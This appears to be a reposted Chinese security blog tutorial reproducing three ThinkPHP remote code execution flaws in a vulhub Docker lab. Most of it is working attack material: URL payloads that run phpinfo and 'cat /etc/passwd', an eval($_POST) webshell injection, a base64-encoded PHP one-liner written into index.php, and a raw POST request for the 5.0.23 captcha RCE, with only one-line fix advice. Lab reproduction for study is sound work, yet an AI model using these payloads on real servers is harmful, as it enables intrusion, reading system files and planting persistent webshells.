攻击机:windows10
靶机:centos 7(docker搭建的vulhub靶场)
0x02 环境搭建
yum -y install docker-ce
systemctl enable docker && systemctl start docker
docker
--version
3.安装docker-compose
sudo
yum install docker-compose
4.安装git
yum
-y install git
5.clone仓库
git
clone https://github.com/vulhub/vulhub
6.查看vulhub靶场
ls
vulhub/
7.配置阿里云镜像加速
登录阿里云:https://www.aliyun.com/搜索找到容器镜像服务点击进入
进入后,最下方有个镜像加速器,查看对应版本的操作文档进行配置即可(直接将操作文档中的命令全选复制过去即可)。
1.Thinkphp 2.x 任意代码执行漏洞
✅漏洞原理
在thinphp的类似于MVC的框架中,存在一个 Dispatcher.class.php 的文件,它规定了如何解析路由,在该文件中,存在一个函数为 static public function dispatch() ,此为URL映射控制器,是为了将URL访问的路径映射到该控制器下获取资源的,而当我们输入的URL作为变量传入时,该URL映射控制器会将变量以数组的方式获取出来,从而导致漏洞的产生。
类名为Dispatcher,class Dispatcher extends Think里面的方法有:
static public function dispatch() URL映射到控制器
public staticfunction getPathInfo() 获得服务器的PATH_INFO信息
static public function routerCheck() 路由检测
static private function parseUrl( route)
staticprivatefunctiongetModule(var) 获得实际的模块名称
static private function getGroup($var) 获得实际的分组名称
✅手工复现
1. 切换到vulhub靶场的2-rce目录下
cd
vulhub/thinkphp/2-rce/
2. 启动docker环境
docker-compose up -d
3. 查看服务端口
docker-compose ps
4. 访问对应端口,例如http://192.168.221.140:8080/
5. 构造poc
http:
/
/192.168.221.140:8080/
?s
=
/Index/index
/jammny/
${@phpinfo()}
6. 构造webshell
http:
/
/192.168.221.140:8080/index
.php?s=
/index/index
/name/
${@print(eval($_POST[
123456
]))}
7. 连接成功
✅修复方法
升级至最新版本
2.ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
✅漏洞原理
thinkphp5.0中,控制器过滤不严,结合直接返回类名的代码操作,导致可以用命名空间的方式来调用任意类的任意方法,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
✅手工复现
1. 进入5-rce目录
cd
vulhub/thinkphp/5-rce/
2. 启动docker环境
docker-compose up -d
3. 查看服务端口
docker-compose ps
4. 访问对应端口,如http://192.168.221.140:8080/
5. poc执行命令 cat /etc/passwd
http:
//
192.168
.
221.140
:
8080
/index.php?
s
=
/Index/
thinkapp/invokefunction&function=call_user_func_array&vars[
0
]=
system
&vars[
1
] []=cat%20/etc/passwd
6. 对下列命令进行base64加密
aa
@
eval
($_REQUEST[
'123456'
])
bb
加密后:YWE8P3BocCBAZXZhbCgkX1JFUVVFU1RbJzEyMzQ1NiddKSA/PmJi
7.将一句话写入index.php
http:
//
192.168
.
221.140
:
8080
/index.php?
s
=
/index/
thinkapp/invokefunction&function=call_user_func_array&vars[
0
]=
system
&vars[
1
] []=echo%20%20%20%20%20-
n%20YWE8P3BocCBAZXZhbCgkX1JFUVVFU1RbJzEyMzQ1NiddKSA/PmJi%20|%20base64%20- d%20%3E%20index.php
8. 连接一句话
连接成功
✅工具复现---thinkphpGUI
2. 版本选择ThinkPHP 5.0.22/5.1.29 RCE
3. 点击检测
4. 点击getshell
5. 选择命令执行板块, 开始执行命令
执行成功
✅修复建议
3. ThinkPHP 5.0.23 远程代码执行漏洞
✅手工复现
cd
vulhub/thinphp/5.0.23-rce/
docker-compose up -d
docker-compose ps
4. 访问对应端口,例如:http://192.168.221.140:8080/
5. 用burp抓包,并发送poc请求包执行phpinfo
POST /index.php?s=captcha HTTP/1.1Host: 192.168.221.140:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close
Content-Type: application/x-www-form-urlencoded Content-Length: 75
_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1
执行成功
✅工具复现
✅ 修复意见
对于这个$k 可以过滤掉所有的特殊字符,以防特殊字符的引入造成MYSQL的报错;当然最好的办法还是关闭掉debug模式。
原文始发于微信公众号(东方隐侠安全实验室):一文教会你thinkphp漏洞挖掘
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论